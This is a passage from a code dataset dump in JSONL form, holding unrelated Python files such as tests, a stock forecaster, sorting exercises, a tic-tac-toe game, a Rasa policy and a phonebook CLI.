address=Address.parse(\":tests\")).value == 5\n\n\ndef test_timeout_calculation() -> None:\n def assert_timeout_calculated(\n *,\n field_value: Optional[int],\n expected: Optional[int],\n global_default: Optional[int] = None,\n global_max: Optional[int] = None,\n timeouts_enabled: bool = True,\n ) -> None:\n field = PythonTestsTimeout(field_value, address=Address.parse(\":tests\"))\n pytest = create_subsystem(\n PyTest,\n timeouts=timeouts_enabled,\n timeout_default=global_default,\n timeout_maximum=global_max,\n )\n assert field.calculate_from_global_options(pytest) == expected\n\n assert_timeout_calculated(field_value=10, expected=10)\n assert_timeout_calculated(field_value=20, global_max=10, expected=10)\n assert_timeout_calculated(field_value=None, global_default=20, expected=20)\n assert_timeout_calculated(field_value=None, expected=None)\n assert_timeout_calculated(field_value=None, global_default=20, global_max=10, expected=10)\n assert_timeout_calculated(field_value=10, timeouts_enabled=False, expected=None)\n\n\ndef test_translate_source_file_to_entry_point() -> None:\n assert (\n PythonBinarySources.translate_source_file_to_entry_point([\"example/app.py\"])\n == \"example.app\"\n )\n # NB: the onus is on the call site to strip the source roots before calling this method.\n assert (\n PythonBinarySources.translate_source_file_to_entry_point([\"src/python/app.py\"])\n == \"src.python.app\"\n )\n assert PythonBinarySources.translate_source_file_to_entry_point([]) is None\n assert PythonBinarySources.translate_source_file_to_entry_point([\"f1.py\", \"f2.py\"]) is None\n\n\ndef test_requirements_field() -> None:\n raw_value = (\"argparse==1.2.1\", \"configparser ; python_version<'3'\")\n parsed_value = tuple(Requirement.parse(v) for v in raw_value)\n\n assert PythonRequirementsField(raw_value, address=Address(\"demo\")).value == parsed_value\n\n # Macros can pass pre-parsed Requirement objects.\n assert PythonRequirementsField(parsed_value, address=Address(\"demo\")).value == parsed_value\n\n # Reject invalid types.\n with pytest.raises(InvalidFieldTypeException):\n PythonRequirementsField(\"sneaky_str\", address=Address(\"demo\"))\n with pytest.raises(InvalidFieldTypeException):\n PythonRequirementsField([1, 2], address=Address(\"demo\"))\n\n # Give a nice error message if the requirement can't be parsed.\n with pytest.raises(InvalidFieldException) as exc:\n PythonRequirementsField([\"not valid! === 3.1\"], address=Address(\"demo\"))\n assert (\n \"Invalid requirement string 'not valid! === 3.1' in the 'requirements' field for the \"\n \"target demo:\"\n ) in str(exc.value)\n\n # Check that we still support the deprecated `pants_requirement` object.\n assert (\n PythonRequirementsField(\n [PythonRequirement(v) for v in raw_value], address=Address(\"demo\")\n ).value\n == parsed_value\n )\n","sub_path":"src/python/pants/backend/python/target_types_test.py","file_name":"target_types_test.py","file_ext":"py","file_size_in_byte":3971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"199301045","text":"from ftw.solr.interfaces import ISolrSearch\nfrom ftw.solr.query import make_path_filter\nfrom opengever.base.portlets import add_navigation_portlet_assignment\nfrom opengever.base.portlets import block_context_portlet_inheritance\nfrom opengever.base.security import elevated_privileges\nfrom opengever.base.solr import batched_solr_results\nfrom opengever.document.interfaces import ITemplateDocumentMarker\nfrom plone import api\nfrom plone.app.workflow.interfaces import ILocalrolesModifiedEvent\nfrom zope.component import queryUtility\nfrom zope.container.interfaces import IContainerModifiedEvent\n\n\ndef configure_templatefolder_portlets(templatefolder, event):\n \"\"\"Added Eventhandler which configure portlets:\n\n - Do not acquire portlets, when templatefolder is not a subtemplatefolder\n - Add navigation portlet assignments as context portlet\n \"\"\"\n\n if templatefolder.is_subtemplatefolder():\n return\n\n block_context_portlet_inheritance(templatefolder)\n\n url_tool = api.portal.get_tool('portal_url')\n add_navigation_portlet_assignment(\n templatefolder,\n root=u'/'.join(url_tool.getRelativeContentPath(templatefolder)),\n topLevel=0)\n\n\ndef reindex_contained_documents(templatefolder, event):\n \"\"\"When a templatefolder is modified, if the title has changed we reindex\n the containing_dossier index in all contained documents\n \"\"\"\n if ILocalrolesModifiedEvent.providedBy(event) or \\\n IContainerModifiedEvent.providedBy(event):\n return\n\n attrs = tuple(\n attr\n for descr in event.descriptions\n for attr in descr.attributes\n )\n title_attrs = ['ITranslatedTitle.title_de', 'ITranslatedTitle.title_fr',\n 'ITranslatedTitle.title_en']\n for attr in title_attrs:\n if attr in attrs:\n languages = api.portal.get_tool('portal_languages').getSupportedLanguages()\n titles = [templatefolder.Title(language.split('-')[0]) for language in languages]\n containing_dossier_title = ' / '.join(titles)\n solr = queryUtility(ISolrSearch)\n filters = make_path_filter('/'.join(templatefolder.getPhysicalPath()), depth=-1)\n filters.append('object_provides:{}'.format(ITemplateDocumentMarker.__identifier__))\n\n with elevated_privileges():\n for batch in batched_solr_results(filters=filters, fl='UID'):\n for doc in batch:\n solr.manager.connection.add({\n \"UID\": doc['UID'],\n \"containing_dossier\": {\"set\": containing_dossier_title},\n })\n return\n","sub_path":"opengever/dossier/templatefolder/subscribers.py","file_name":"subscribers.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"218286222","text":"from tkinter import Tk\nfrom tkinter import Text\nfrom tkinter import Menu\n\n# parse.py与python包名冲突\nfrom mylexer import Lexer\nfrom myparser import Parser\n\n\ntextBox = None\n\ndef callLexer():\n\t# '1.0' 第一行第一列开始\n\tstr = textBox.get('1.0', \"end\")\n\t# Lexer(string, show=False)\n\t# show=True显示分析过程\n\ttokens = Lexer(str, show=True)\n\ndef callParser():\n\tstr = textBox.get('1.0', \"end\")\n\t# Parser(string, show=False)\n\t# show=True显示分析过程\n\tParser(str, show=True)\n\ndef callPainter():\n\tstr = textBox.get('1.0', \"end\")\n\t# Parser(string, show=False)\n\t# paint=True函数绘图\n\tParser(str, paint=True)\n\ndef main():\n\ttk = Tk()\n\ttk.title(\"izcat's Interpreter for Functional Painting Language\")\n\ttk.geometry(\"800x600\")\n\n\tmenuBar = Menu(tk)\n\tmenuBar.add_command(label=\"词法分析\", command=callLexer)\n\tmenuBar.add_command(label=\"语法分析\", command=callParser)\n\tmenuBar.add_command(label=\"函数绘图\", command=callPainter)\n\ttk.config(menu=menuBar)\n\n\tglobal textBox\n\ttextBox = Text(tk, width=800, height=300)\n\ttextBox.pack()\n\n\ttk.mainloop()\n\nif __name__=='__main__':\n\tmain()\n\n","sub_path":"version2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"592107062","text":"from sys import stdin,stdout\ndef main():\n n=int(stdin.readline())\n bt=list(map(int,stdin.readline().split( )))\n \n wt=[0]*n;tat=[0]*n\n \n 'waiting time for each process'\n for i in range(1,n):\n wt[i]=wt[i-1]+bt[i-1]\n \n \n 'turnaround time for each process'\n for i in range(n):\n tat[i]=wt[i]+bt[i]\n \n \n stdout.write(\"avg waiting time:- %f\"%(sum(wt)/n))\n stdout.write(\"avg turnaround time:- %f\"%(sum(tat)/n))\n\nmain()\n","sub_path":"CPU-Scheduling/FCFS Same Arrival Times.py","file_name":"FCFS Same Arrival Times.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"652866548","text":"import os\nimport alpaca_trade_api as tradeapi\nimport numpy as np\nimport pandas as pd\nfrom dotenv import load_dotenv\nfrom pmdarima.arima import auto_arima\nfrom statsmodels.tsa.stattools import adfuller\nfrom statsmodels.tsa.arima_model import ARIMA\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\n\nclass DataModel:\n\n def __init__(self):\n load_dotenv()\n api_key = os.getenv(\"ALPACA_API_KEY\")\n secret_key = os.getenv(\"ALPACA_SECRET_KEY\")\n self.api = tradeapi.REST(\n api_key,\n secret_key,\n api_version=\"v2\"\n )\n\n def get_ticker_data(self, ticker):\n timeframe = \"1D\"\n max_iter = 1000\n barset = self.api.get_barset(\n ticker,\n timeframe,\n limit=max_iter\n ).df\n\n return barset[ticker][\"close\"]\n\n def test_stationarity(self, data):\n \"\"\"\n Test for stationary data and return p-value.\n \"\"\"\n adft = adfuller(data, autolag=\"AIC\")\n p_value = adft[1]\n\n return p_value\n\n def p_value_test(self, data, p_value):\n data_df = data\n\n if p_value >= 0.05:\n data_df = np.log(data)\n\n train_data, test_data = data_df[3:int(\n len(data_df)*0.9)], data_df[int(len(data_df)*0.9):]\n\n model_autoARIMA = auto_arima(train_data, start_p=0, start_q=0, test='adf', max_p=3, max_q=3, m=1, d=None,\n seasonal=False, start_P=0, D=0, trace=True, error_action='ignore', suppress_warnings=True, stepwise=True)\n\n model = ARIMA(train_data, order=(\n model_autoARIMA.order[0], model_autoARIMA.order[1], model_autoARIMA.order[2]))\n fitted = model.fit(disp=-1)\n\n # forecast\n fc, se, conf = fitted.forecast(100, alpha=0.05) # 95% confidence\n fc_series = pd.Series(fc, index=test_data.index)\n\n mape = np.mean(np.abs(fc - test_data)/np.abs(test_data))\n\n return mape, fc_series\n\n def up_or_down(self, fc_series):\n if fc_series[-1] > fc_series[0]:\n return \"UP\"\n else:\n return \"DOWN\"\n\n def get_forecast(self, ticker):\n data_df = self.get_ticker_data(ticker)\n p_value = self.test_stationarity(data_df)\n mape, fc_series = self.p_value_test(data_df, p_value)\n result = self.up_or_down(fc_series)\n\n return result, mape\n","sub_path":"api/.ipynb_checkpoints/Forecaster-checkpoint.py","file_name":"Forecaster-checkpoint.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"303826068","text":"# week 2\narray = [int(i) for i in input('Enter Your List : ').split()]\n\nsum = 0\n\ntotalList = []\n\nif (len(array) < 3):\n print('Array Input Length Must More Than 2')\nelse:\n for i in range(len(array)):\n for j in range(i+1, len(array)):\n for k in range(j+1, len(array)):\n sum = array[i] + array[j] + array[k]\n if sum == 0:\n\n tempList = [array[i], array[j], array[k]]\n if tempList not in totalList:\n totalList.append(tempList)\n\n #old location\n print(totalList)\n","sub_path":"KMITL_grader_lab/ch3_BasicClass_04_3Sum.py","file_name":"ch3_BasicClass_04_3Sum.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"175103789","text":"def listaCapicua (lista):\r\n if isinstance (lista, list):\r\n if (lista != []):\r\n return listaCapicua_aux (lista, 0, 0)\r\n else:\r\n return False\r\n else:\r\n return \"Error, el elemento de entrada debe ser una lista y no debe de estar vacía\"\r\n\r\n\r\ndef listaCapicua_aux (p_lista, contador, p_resultado):\r\n if p_lista == []:\r\n return palindromo (p_resultado)\r\n else:\r\n if (p_lista [0], int) and (p_lista [0] >= 0):\r\n return listaCapicua_aux (p_lista [1:], contador + 1, (p_resultado * 10) + p_lista [0]) \r\n else:\r\n return listaCapicua_aux (p_lista [1:], contador, p_resultado)\r\n\r\n\r\ndef palindromo (num):\r\n if isinstance (num, int) and (num >= 0):\r\n resultado = palindromo_aux (num) \r\n print (resultado)\r\n else:\r\n print(\"Error\") \r\n\r\n\r\ndef calcular_largo_numero (numero):\r\n if numero < 10:\r\n return 1\r\n else:\r\n return calcular_largo_numero (numero // 10) + 1\r\n\r\n\r\ndef invertir_numero (num):\r\n if isinstance (num, int) and (num >= 0):\r\n resultado = invertir_numero_aux (num, 0)\r\n return resultado\r\n else:\r\n return (\"Error\") \r\n\r\n\r\ndef invertir_numero_aux (numero, nuevo_numero):\r\n if numero < 10:\r\n return (nuevo_numero * 10) + numero\r\n else:\r\n return invertir_numero_aux (numero // 10, (nuevo_numero * 10) + numero % 10) \r\n\r\n\r\ndef palindromo_aux (num):\r\n largo_numero = calcular_largo_numero (num)\r\n mitad_numero_derecho = num % 10**(largo_numero // 2) \r\n mitad_numero_derecho_invertido = invertir_numero (mitad_numero_derecho)\r\n if largo_numero % 2 == 0:\r\n numero_parte_izquierda = num // 10**(largo_numero // 2)\r\n else:\r\n numero_parte_izquierda = num // 10**(largo_numero // 2 + 1)\r\n\r\n if numero_parte_izquierda == mitad_numero_derecho_invertido:\r\n return (numero_parte_izquierda * 10 ** (calcular_largo_numero (mitad_numero_derecho_invertido))) + (invertir_numero (mitad_numero_derecho_invertido))\r\n else:\r\n return False\r\n\r\n\r\n#print (listaCapicua ([5, 8, 8, 5]))\r\n","sub_path":"listaCapicúa.py","file_name":"listaCapicúa.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"535109698","text":"from django.shortcuts import render\nfrom .models import Lanches, Ingredientes\n\n\ndef cardapio_lanches(request):\n context = {\n 'lanches':Lanches.objects.all()\n }\n return render(request,'cardapio/lanches.html',context)\n\n\ndef monte_o_seu_lanche(request):\n context = {\n 'ingredientes': Ingredientes.objects.all()\n }\n\n return render(request,'cardapio/monteoseu.html',context)","sub_path":"cardapio/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"129604921","text":"import os\nimport random\nimport sys\nimport cv2\n#import keras\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n\n#in_path = '/home/gil/Documents/IMAGES/foreign_tests/'\nin_path = '/home/gil/Documents/IMAGES/GAN/pass/'\ntrain_path = '/home/gil/Documents/IMAGES/GAN/TRAIN/'\nvalid_path = '/home/gil/Documents/IMAGES/GAN/VALID/'\n\n\n#data split\ntrain_percent = 0.8\n\n#variables\ni = 0\nX, Y = 500, 600\nx_stride, y_stride = 200, 200\n#patch_size = 50\n\n#list files\nfiles = os.listdir(in_path)\n#shuffle files\nrandom.shuffle(files)\ncount = len(files)\nprint('Files found: {}'.format(count))\n\nfor f in files:\n i+=1\n #if i > 100:\n #break\n #read data\n img = cv2.imread(os.path.join(in_path, f))\n #img = cv2.resize(img, (X, Y))\n #img.shape == (Y, X, Z)\n #print(img.shape)\n\n size = max(X, Y)\n #must be rgb image only\n if img.shape != (Y, X, 3):\n #could have ir image (X*2)\n if img.shape == (Y, X*2, 3):\n #if it is then split\n img = img[:,:X]\n img = cv2.resize(img, dsize=(size, size))\n else:\n continue\n else:\n img = cv2.resize(img, dsize=(size, size))\n\n \n print('Image {} shape: {}'.format(i, img.shape))\n\n '''\n Extract patches\n '''\n x_cal = int(size/x_stride) #10\n y_cal = int(size/y_stride) #12\n for y in range(y_cal):\n #get the new y values\n y1 = y * y_stride \n y2 = y1 + y_stride\n for x in range(x_cal):\n #get the new x values\n x1 = x * x_stride\n x2 = x1 + x_stride\n \n print(x1, y1, x2, y2)\n\n #get the slice variables\n patch = img[y1:y2, x1:x2]\n #print(patch.shape)\n #save the patch\n name = f.split('.jpg')[0] + '_patch_' + str(y) + '-' + str(x) + '.jpg'\n print(name)\n print(i)\n print(count*train_percent)\n \n cv2.imwrite(os.path.join(train_path, name), patch)\n '''\n if i < (count*train_percent):\n cv2.imwrite(os.path.join(train_path, name), patch)\n else:\n cv2.imwrite(os.path.join(valid_path, name), patch)\n '''\n","sub_path":"GAN/utils/extract_patches.py","file_name":"extract_patches.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"633208583","text":"#!/usr/bin/env python3\n\nfrom lxml import etree\nfrom config.general import routes, centro_lat, centro_long, lat_miles, long_miles\nfrom util import paths\nfrom geojson import LineString, Feature, FeatureCollection, Point\n\nimport os\n\n\ndef get_tag(full_tag):\n ns_end = full_tag.find('}')\n return full_tag[ns_end + 1:]\n\n\ndef rename_ext_and_get_file_name(filepath, new_ext):\n \"\"\"filepath is the absolute path to the file, new_ext is the new extension without the dot\"\"\"\n without_ext = filepath[0:filepath.rindex(\".\")]\n return os.path.basename(\".\".join((without_ext, new_ext)))\n\n\ndef convert_kml(filepath, is_route, properties=None):\n placemark_start = False\n with open(filepath, \"rb\") as f:\n for event, element in etree.iterparse(f, events=(\"start\", \"end\")):\n tag = get_tag(element.tag)\n if tag == 'Placemark' and event == 'end':\n placemark_start = False\n continue\n if event != 'start':\n continue\n if tag == 'Placemark':\n placemark_start = True\n continue\n if not placemark_start:\n continue\n if tag == 'name':\n print(element.text)\n if tag == 'coordinates':\n points = []\n for elem in element.text.split():\n long, lat, _ = elem.split(\",\")\n long = float(long)\n lat = float(lat)\n long_ft = 5280 * (long - centro_long) * long_miles\n lat_ft = 5280 * (lat - centro_lat) * lat_miles\n points.append((long_ft, lat_ft))\n \n if is_route:\n geo = LineString(points)\n else:\n geo = Point(points[0])\n if properties:\n feature = Feature(geometry=geo, properties=properties)\n else:\n feature = Feature(geometry=geo)\n feature_col = FeatureCollection([feature])\n \n if is_route:\n with open(os.path.join(paths.json_routes,\n rename_ext_and_get_file_name(filepath, \"icr.json\")), \"w\") as fout:\n fout.write(str(feature_col))\n else:\n with open(os.path.join(paths.json_stops,\n rename_ext_and_get_file_name(filepath, \"icr.json\")), \"w\") as fout:\n fout.write(str(feature_col))\n\n\nprint(\"Converting routes...\")\nfor route in routes:\n convert_kml(os.path.join(paths.kml_routes, \"route{0}.kml\".format(route)), True,\n properties={\"route\": route})\n\n\nprint(\"Converting stops...\")\nfor stop_kml_file in os.listdir(paths.kml_stops):\n convert_kml(os.path.join(paths.kml_stops, stop_kml_file), False)\n","sub_path":"a10_kml_to_geojson.py","file_name":"a10_kml_to_geojson.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"399083099","text":"from lxml import etree\nfrom six import iteritems\n\n\ndef to_xml(root, data):\n xml = etree.Element(root)\n\n for k, v in iteritems(data):\n child = etree.SubElement(xml, k)\n child.text = v\n\n return xml\n","sub_path":"teamsupport/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"134838121","text":"#\n# djblets_js.py -- JavaScript-related template tags\n#\n# Copyright (c) 2007-2009 Christian Hammond\n# Copyright (c) 2007-2009 David Trowbridge\n#\n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the\n# \"Software\"), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of the Software, and to\n# permit persons to whom the Software is furnished to do so, subject to\n# the following conditions:\n#\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\nfrom django import template\n\n\nregister = template.Library()\n\n\n@register.simple_tag\ndef form_dialog_fields(form):\n \"\"\"\n Translates a Django Form object into a JavaScript list of fields.\n The resulting list of fields can be used to represent the form\n dynamically.\n \"\"\"\n s = ''\n\n for field in form:\n s += \"{ name: '%s', \" % field.name\n\n if field.is_hidden:\n s += \"hidden: true, \"\n else:\n s += \"label: '%s', \" % field.label_tag(field.label + \":\")\n\n if field.field.required:\n s += \"required: true, \"\n\n if field.field.help_text:\n s += \"help_text: '%s', \" % field.field.help_text\n\n s += \"widget: '%s' },\" % unicode(field)\n\n # Chop off the last ','\n return \"[ %s ]\" % s[:-1]\n","sub_path":"seahub/thirdpart/Djblets-0.6.14.dev-py2.6.egg/djblets/util/templatetags/djblets_js.py","file_name":"djblets_js.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"178775233","text":"# Merge sort in Python\n# Worst case O(nlog(n))\n\nimport sys\ndef mergeSort(array):\n if len(array) == 1:\n return array\n middleIndex = len(array) // 2\n leftHalf = array[:middleIndex]\n rightHalf = array[middleIndex:]\n\n return mergeSortedArrays(mergeSort(leftHalf), mergeSort(rightHalf))\n\ndef mergeSortedArrays(leftHalf, rightHalf):\n sortedArray = [None] * (len(leftHalf) + len(rightHalf))\n k = i = j = 0\n while i < len(leftHalf) and j < len(rightHalf):\n if leftHalf[i] <= rightHalf[j]:\n sortedArray[k] = leftHalf[i]\n i += 1\n else:\n sortedArray[k] = rightHalf[j]\n j += 1\n k += 1\n while i < len(leftHalf):\n sortedArray[k] = leftHalf[i]\n i += 1\n k += 1\n while j < len(rightHalf):\n sortedArray[k] = rightHalf[j]\n j += 1\n k += 1\n return sortedArray\n\ndef main(array):\n # print(array)\n val = array.split('\\n')\n # print(val[1])\n nums = val[1].split(' ')\n sol = mergeSort(list(map(int, nums)))\n print(' '.join(map(str, sol)))\n\nif __name__ == \"__main__\":\n input_str = sys.stdin.read()\n main(input_str)\n","sub_path":"Q1/MergeSort.py","file_name":"MergeSort.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"434663128","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport logging\nimport typing\n\nfrom typing import Dict, List, Text, Optional\n\nfrom rasa_core.policies.memoization import MemoizationPolicy\nfrom rasa_core.events import ActionExecuted\n\nlogger = logging.getLogger(__name__)\n\nif typing.TYPE_CHECKING:\n from rasa_core.trackers import DialogueStateTracker\n from rasa_core.domain import Domain\n\n\nclass AugmentedMemoizationPolicy(MemoizationPolicy):\n \"\"\"The policy that remembers examples from training stories\n for up to `max_history` turns.\n\n If it is needed to recall turns from training dialogues\n where some slots might not be set during prediction time,\n add relevant stories without such slots to training data.\n E.g. reminder stories.\n\n Since `slots` that are set some time in the past are\n preserved in all future feature vectors until they are set\n to None, this policy has a capability to recall the turns\n up to `max_history` from training stories during prediction\n even if additional slots were filled in the past\n for current dialogue.\n \"\"\"\n\n def _preprocess_states(self, states):\n # type: (List[Dict[Text, float]]) -> List[List[Dict[Text, float]]]\n \"\"\"Overrides the helper method to preprocess tracker's states.\n\n Creates a list of states with deleted history\n to add the ability of augmented memoization\n to recall partial history\"\"\"\n\n augmented = [list(states)]\n augmented_states = list(states)\n for i in range(self.max_history - 1):\n augmented_states[i] = None\n augmented.append(list(augmented_states))\n return augmented\n\n def _back_to_the_future(self, tracker):\n if self.max_history <= 1:\n return []\n\n historic_events = []\n collected_events = []\n\n idx_of_last_evt = len(tracker.applied_events()) - 1\n\n for e_i, event in enumerate(reversed(tracker.applied_events())):\n collected_events.append(event)\n\n if isinstance(event, ActionExecuted):\n if e_i == idx_of_last_evt:\n # if arrived at the end of the tracker,\n # the last historic_events repeat the tracker\n # so `break` is called before appending them\n break\n\n historic_events.append(collected_events[:])\n\n if len(historic_events) == self.max_history:\n # the length of `historic_events` should be\n # max_history, because due to forgetting\n # of slots the features might be different\n break\n\n mcfly_trackers = []\n for events in reversed(historic_events):\n mcfly_tracker = tracker.init_copy()\n for e in reversed(events):\n mcfly_tracker.update(e)\n mcfly_trackers.append(mcfly_tracker)\n\n return mcfly_trackers\n\n def _recall_using_delorean(self, tracker, domain):\n # correctly forgetting slots\n\n logger.debug(\"Launch DeLorean...\")\n mcfly_trackers = self._back_to_the_future(tracker)\n\n tracker_as_states = self.featurizer.prediction_states(\n mcfly_trackers, domain)\n\n for states in tracker_as_states:\n logger.debug(\"Current tracker state {}\".format(states))\n memorised = self._recall_states(states)\n if memorised is not None:\n return memorised\n\n # No match found\n return None\n\n def recall(self,\n states, # type: List[Dict[Text, float]]\n tracker, # type: DialogueStateTracker\n domain # type: Domain\n ):\n # type: (...) -> Optional[int]\n\n recalled = self._recall_states(states)\n if recalled is None:\n # let's try a different method to recall that tracker\n return self._recall_using_delorean(tracker, domain)\n else:\n return recalled\n","sub_path":"rasa_core/policies/augmented_memoization.py","file_name":"augmented_memoization.py","file_ext":"py","file_size_in_byte":4147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"172331579","text":"# write your code here!\nfrom random import random\n\nimport numpy as np\nimport time\nimport matplotlib.pyplot as plt\n\n\ndef create_board():\n return np.zeros((3, 3))\n\n\ndef place(board, player, position):\n if board[position] == 0:\n board[position] = player\n\n\ndef possibilities(board):\n return np.where(board == 0)\n\n\ndef random_place(board, player):\n place(board, player, random.choice(possibilities(board)))\n\n\ndef row_win(board, player):\n for x in range(3):\n if len(set(board[x])) == 1 and board[x][0] == player:\n return True\n return False\n\n\ndef col_win(board, player):\n for y in range(3):\n n = 0\n for x in range(3):\n if board[x][y] == player:\n n += 1\n if n == 3:\n return True\n\n return False\n\n\ndef diag_win(board, player):\n n = 0\n for x in range(3):\n if board[x][x] == player:\n n += 1\n if n == 3:\n return True\n n = 0\n for x in range(3):\n if board[x][2 - x] == player:\n n += 1\n if n == 3:\n return True\n\n return False\n\n\ndef evaluate(board):\n winner = 0\n for player in [1, 2]:\n # Check if `row_win`, `col_win`, or `diag_win` apply. if so, store\n # `player` as `winner`.\n for f in (row_win, col_win, diag_win):\n if f(board, player):\n winner = player\n if np.all(board != 0):\n winner = -1\n return winner\n\n\ndef play_game():\n board = create_board()\n random_place(board, 1)\n for i in range(4):\n for player in (2, 1):\n random_place(board, player)\n winner = evaluate(board)\n if winner != -1:\n return winner\n return -1\n\n\ndef play_strategic_game():\n board, winner = create_board(), 0\n board[1, 1] = 1\n while winner == 0:\n for player in [2, 1]:\n random_place(board, player)\n winner = evaluate(board)\n if winner != 0:\n break\n return winner\n\n\ndef main():\n wins_1 = 0\n wins_2 = 0\n start = time.time()\n for i in range(1000):\n winner = play_game()\n if winner == 1:\n wins_1 += 1\n elif winner == 2:\n wins_2 += 1\n end = time.time()\n\n print(end - start)\n\n plt.hist([wins_1, wins_2], bin=[0, 1])\n plt.show()\n","sub_path":"tic-tac-toe/tic-tac-toe.py","file_name":"tic-tac-toe.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"222475879","text":"import argparse\nimport re\n\nfrom sqlalchemy import asc\n\nfrom models import Contacts, Session\n\n\ndef number_check(number):\n if re.search(r'\\d\\d\\d-\\d\\d\\d-\\d\\d\\d\\d', number) is None:\n print('phonebook.py: error: phone number must be formatted as xxx-xxx-xxxx')\n quit()\n\n elif len(number) > 12:\n print('phonebook.py: error: phone number cannot be more than 10 digits')\n quit()\n\n return number\n\n\ndef search_check(first_name, last_name):\n records = Session.query(Contacts).filter(Contacts.first_name == first_name.title(),\n Contacts.last_name == last_name.title()).all()\n\n return records\n\n\ndef add(first_name, last_name, number):\n records = search_check(first_name, last_name)\n number = number_check(number)\n\n if records:\n print('phonebook.py: add: error: contact already exists')\n\n else:\n new_record = Contacts(first_name=first_name.title(), last_name=last_name.title(), number=number)\n Session.add(new_record)\n Session.commit()\n print('phonebook.py: add: contact added')\n\n\ndef search(first_name, last_name):\n records = search_check(first_name, last_name)\n\n if records:\n for record in records:\n print(record.first_name, record.last_name, record.number)\n\n else:\n print('phonebook.py: search: error: contact doesn\\'t exist')\n\n\ndef list():\n records = Session.query(Contacts).order_by(asc(Contacts.last_name)).all()\n\n if records:\n for record in records:\n print(record.first_name, record.last_name, record.number)\n\n else:\n print('phonebook.py: list: error: no contacts found')\n\n\ndef remove(first_name, last_name):\n records = search_check(first_name, last_name)\n\n if records:\n for record in records:\n Session.delete(record)\n Session.commit()\n print('phonebook.py: remove: contact deleted')\n\n else:\n print('phonebook.py: remove: error: contact doesn\\'t exist')\n\n\ndef delete():\n confirm = input('phonebook.py: delete: are you sure you want to delete all contacts? (y/n): ')\n\n if confirm == 'y':\n try:\n Session.query(Contacts).delete()\n Session.commit()\n print('phonebook.py: all contacts deleted')\n\n except:\n Session.rollback()\n\n elif confirm == 'n':\n quit()\n\n else:\n print('phonebook.py: delete: error: %s is not a valid command' % confirm)\n\n\ndef update(first_name, last_name, number):\n records = search_check(first_name, last_name)\n number = number_check(number)\n\n if records:\n for record in records:\n record.number = number\n Session.commit()\n print('phonebook.py: update: contact updated')\n\n else:\n print('phonebook.py: update: error: contact doesn\\'t exist')\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Python Phonebook')\n\n subparsers = parser.add_subparsers()\n\n parser_add = subparsers.add_parser('add')\n parser_add.add_argument('first_name', help='first name of person')\n parser_add.add_argument('last_name', help='last name of person')\n parser_add.add_argument('number', help='phone number of person')\n parser_add.set_defaults(action='add')\n\n parser_search = subparsers.add_parser('search')\n parser_search.add_argument('first_name', help='first name of person')\n parser_search.add_argument('last_name', help='last name of person')\n parser_search.set_defaults(action='search')\n\n parser_search = subparsers.add_parser('list')\n parser_search.add_argument('all', help='list all contacts')\n parser_search.set_defaults(action='list')\n\n parser_remove = subparsers.add_parser('remove')\n parser_remove.add_argument('first_name', help='first name of person')\n parser_remove.add_argument('last_name', help='last name of person')\n parser_remove.set_defaults(action='remove')\n\n parser_delete = subparsers.add_parser('delete')\n parser_delete.add_argument('all', help='delete all contacts')\n parser_delete.set_defaults(action='delete')\n\n parser_update = subparsers.add_parser('update')\n parser_update.add_argument('first_name', help='first name of person')\n parser_update.add_argument('last_name', help='last name of person')\n parser_update.add_argument('number', help='phone number of person')\n parser_update.set_defaults(action='update')\n\n return parser\n\n\nif __name__ == 